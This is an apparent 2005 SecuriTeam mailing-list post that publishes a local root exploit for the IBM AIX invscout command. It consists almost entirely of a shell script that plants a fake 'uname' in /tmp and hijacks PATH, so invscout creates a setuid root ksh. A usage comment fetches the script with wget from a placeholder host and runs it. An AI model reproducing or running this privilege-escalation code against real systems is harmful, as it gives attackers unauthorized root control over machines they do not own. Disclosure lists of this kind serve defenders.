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From: SecuriTeam <support@securiteam.com.> To: list@securiteam.com Date: 31 May 2005 17:23:11 +0200 Subject: [EXPL] IBM AIX invscout Local Exploit Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20050531150511.6FDD75830@mail.tyumen.ru.> X-Virus-Scanned: antivirus-gw at tyumen.ru The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - IBM AIX invscout Local Exploit ------------------------------------------------------------------------ SUMMARY Provided here is an exploit for the <http://www.securiteam.com/unixfocus/6O00N0AC0A.html> IBM AIX invscout Local Command Execution Vulnerability reported previously. DETAILS Exploit Code: #!/usr/bin/sh # bash script by LorD from IHS # Private IHS IRAN HACKERS SABOTAGE Private # Special tnx to : My very good friend Arezoo and NT and C0d3r # AIX invscout execute command then u can run commnad as root and get L0cal r00t access # Tested on : AIX 4.X 5.1 5.2 5.3 # id # uid=99(nobody) gid=207(nogroup) euid=0(root) egid=0(system) groups=1(other),205(admstaff),206(faculty) # uname -a # AIX neo1 2 5 000F7AAF4C00 # Bug found at : http://www.idefense.com/application/poi/display?id=171 &type=vulnerabilities&flashstatus=true # www.ihsteam.com www.ihssecurity.com # IRC.IHSteam.com #IHS # usage cd /tmp;wget www.site.com/lord chmod +x inv ./lord # gives euid=0(root) and guid=0(system) cd /tmp echo '/usr/bin/cp /usr/bin/ksh ./' > uname echo '/usr/bin/chown root:system ./ksh' >> uname echo '/usr/bin/chmod 777 ./ksh' >> uname echo '/usr/bin/chmod +s ./ksh' >> uname /usr/bin/chmod 777 uname PATH=./ export PATH /usr/sbin/invscout PATH="/usr/bin:/usr/sbin:/usr/local/bin:/bin:./" export PATH exec /tmp/ksh ADDITIONAL INFORMATION The information has been provided by <mailto:lord@ihsteam.com.> lord.
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